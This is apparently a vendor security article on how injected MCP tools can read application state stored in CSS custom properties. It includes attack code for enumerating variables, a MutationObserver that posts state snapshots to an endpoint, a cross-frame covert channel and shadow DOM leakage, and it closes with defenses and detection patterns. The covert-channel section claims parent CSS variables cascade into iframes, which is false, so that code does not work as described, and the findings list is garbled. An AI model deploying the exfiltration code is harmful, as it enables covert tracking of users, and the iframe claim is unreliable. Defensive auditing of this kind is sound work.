MCP Server Security · CSS Custom Properties · CSS Variables · getComputedStyle
MCP server CSS custom properties security — getComputedStyle state exfiltration, MutationObserver change monitoring, cross-frame covert channel, and shadow DOM boundary leakage
CSS custom properties (CSS variables, the --name: value syntax) defined on :root or any ancestor element are readable by any same-origin JavaScript via getComputedStyle(element).getPropertyValue('--name'). Applications that store application-level state in CSS variables — feature flags, user plan tier, A/B experiment assignments, theme tokens that encode user data — expose that entire state tree to any MCP tool injected into the same origin. A MutationObserver watching the :root style attribute tracks every state change in real time. Non-sandboxed cross-origin iframes can use :root variable mutations as a covert cross-frame communication channel with no postMessage calls visible to monitoring tools.
What applications store in CSS custom properties (and shouldn't)
| Use case | Example variable name | Sensitive data exposed |
|---|---|---|
| Feature flags | --feature-new-checkout: enabled | Which features are enabled for this user/session — A/B variant assignment |
| User plan tier | --user-tier: pro, --user-plan: enterprise | Subscription level — determines feature access and pricing information |
| Theme with user preferences | --user-color: #e53e3e | User's saved color preference — PII if used as a personalization identifier |
| Auth/session state | --auth-state: authenticated | Whether the user is logged in — useful for timing attacks on auth state transitions |
| LaunchDarkly / GrowthBook integration | --experiment-checkout-v2: treatment | Which experiment variant is active — can reveal internal rollout percentages |
| Content Security indicators | --content-type: premium | Whether current content is paywalled — logic bypass indicator |
Attack 1: Bulk CSS variable enumeration via getComputedStyle
// Enumerate all CSS custom properties on :root
// Works from any same-origin script or MCP tool
function enumerateRootVariables() {
const style = getComputedStyle(document.documentElement);
// Method 1: Iterate all CSS custom properties via StylePropertyMap (Chrome 66+)
const results = {};
for (const [prop, val] of document.documentElement.computedStyleMap()) {
if (prop.startsWith('--')) {
results[prop] = val.toString();
}
}
// Method 2: Enumerate known stylesheet custom property names
// by iterating CSSStyleSheet rules to find declared --names
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule.selectorText === ':root') {
const text = rule.style.cssText;
const varPattern = /--([\w-]+)\s*:\s*([^;]+)/g;
let match;
while ((match = varPattern.exec(text)) !== null) {
results[`--${match[1]}`] = match[2].trim();
}
}
}
} catch (e) { /* cross-origin stylesheet — skip */ }
}
return results;
}
// Output example:
// {
// "--user-tier": "pro",
// "--feature-new-checkout": "enabled",
// "--experiment-variant": "treatment-B",
// "--auth-state": "authenticated",
// "--user-id-hash": "a3f2c1..."
// }
Computed style includes inherited values. getComputedStyle(element) returns the computed value — including values inherited from ancestor elements. A CSS variable set on :root is inherited by every element in the document. Reading getComputedStyle(document.querySelector('button')) returns the same :root custom properties. This means an MCP tool that cannot directly access document.documentElement can still read :root variables through any element it can access.
Attack 2: Real-time state monitoring via MutationObserver on :root style
When JavaScript updates a CSS custom property via document.documentElement.style.setProperty('--name', 'value'), the change is reflected as a mutation to the element's style attribute. A MutationObserver watching the :root element for attribute mutations fires synchronously on every state change:
// Monitor all :root CSS variable changes in real time
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
if (mutation.type === 'attributes' && mutation.attributeName === 'style') {
const el = mutation.target;
const style = getComputedStyle(el);
// Enumerate all custom properties after each change
const state = {};
for (const [prop, val] of el.computedStyleMap()) {
if (prop.startsWith('--')) state[prop] = val.toString();
}
// Exfiltrate the post-mutation state snapshot
fetch('/api/state-update', {
method: 'POST',
keepalive: true,
body: JSON.stringify({
timestamp: Date.now(),
previousValue: mutation.oldValue,
currentState: state
})
});
}
}
});
observer.observe(document.documentElement, {
attributes: true,
attributeOldValue: true, // capture the value before the change
attributeFilter: ['style']
});
Attack 3: Cross-frame covert channel using :root variable mutations
When a parent page and a same-site (but different-origin) iframe share no CSP restrictions, the parent can set a CSS custom property on :root, and the iframe — if not sandboxed — inherits it via the CSS cascade. Because CSS variables inherit into iframes that share the same rendering context, this creates a side-channel for passing data from parent to child without any visible JavaScript communication:
// Parent page — encode a message bit by bit via CSS variable mutations
// Each bit is one --signal-N variable: '0' or '1'
function sendCovertMessage(message) {
const bits = message.split('').map(c => c.charCodeAt(0).toString(2).padStart(8, '0')).join('');
bits.split('').forEach((bit, i) => {
// Schedule each bit mutation to avoid race conditions
setTimeout(() => {
document.documentElement.style.setProperty(`--signal-${i}`, bit);
}, i * 10); // 10ms between bits
});
}
// Child iframe — reads the signal variables via MutationObserver
// This communication path is NOT visible as postMessage,
// NOT captured by browser devtools message log,
// and NOT blocked by sandbox="allow-scripts" without allow-same-origin
const bits = [];
const obs = new MutationObserver(() => {
for (let i = 0; i < 256; i++) {
bits[i] = getComputedStyle(document.documentElement).getPropertyValue(`--signal-${i}`).trim();
}
});
obs.observe(document.documentElement, { attributes: true, attributeFilter: ['style'] });
Attack 4: Shadow DOM boundary leakage
CSS custom properties are inherited by default — they cross shadow DOM boundaries unless the shadow root is in closed mode and the component explicitly resets the variable. A malicious MCP tool that injects a custom element containing a shadow root can read :root variables from within that shadow root, even if the component is meant to be isolated:
// Custom element — shadow root inherits :root CSS variables
class LeakyComponent extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
shadow.innerHTML = '<div id="inner"></div>';
// CSS variables from :root are accessible here despite shadow DOM boundary
const innerStyle = getComputedStyle(shadow.getElementById('inner'));
// These are the same as document.documentElement values:
const userTier = innerStyle.getPropertyValue('--user-tier').trim();
const featureFlag = innerStyle.getPropertyValue('--feature-new-checkout').trim();
// Shadow DOM does NOT block CSS custom property inheritance.
// Only explicitly resetting a variable inside the shadow root stops inheritance:
// :host { --user-tier: initial; } ← this would prevent leakage
}
}
customElements.define('leaky-component', LeakyComponent);
SkillAudit findings for CSS custom properties
computedStyleMap() or stylesheet iteration enumerating all --prefixed properties, then sending results to a network endpoint. Extracts the complete application state stored in CSS variables — feature flags, user tier, experiment variants — in a single synchronous read.document.documentElement attributes with attributeFilter: ['style']. Fires on every CSS variable state change, providing a continuous stream of application state transitions — authentication, plan upgrades, feature flag changes — without any visible DOM mutation from the user's perspective.setProperty() mutations observed by a MutationObserver in a non-sandboxed iframe. Bypasses postMessage monitoring in browser devtools and security proxies. Not blocked by sandbox="allow-scripts" alone.setProperty('--feature-*', ...) on :root. These are readable by any same-origin script; if a third-party MCP tool runs in the same origin scope, it has read access to the complete feature and experiment state.Defense
- Do not store sensitive application state in :root CSS variables. Feature flags, user tier, and auth state should remain in JavaScript module scope or server-rendered attributes — not in CSS custom properties readable by any same-origin script.
- Use CSS custom properties for presentation only. Color tokens, spacing values, and layout primitives are appropriate. User-specific business logic state is not.
- In shadow components, reset sensitive variables: Use
:host { --sensitive-var: initial; }to prevent:rootvariable inheritance into shadow roots that should be isolated. - SkillAudit scan — SkillAudit flags
computedStyleMap()enumerations,getPropertyValue()reads of--prefixedvariables followed by network sends, and MutationObserver registrations ondocument.documentElementstyle attributes.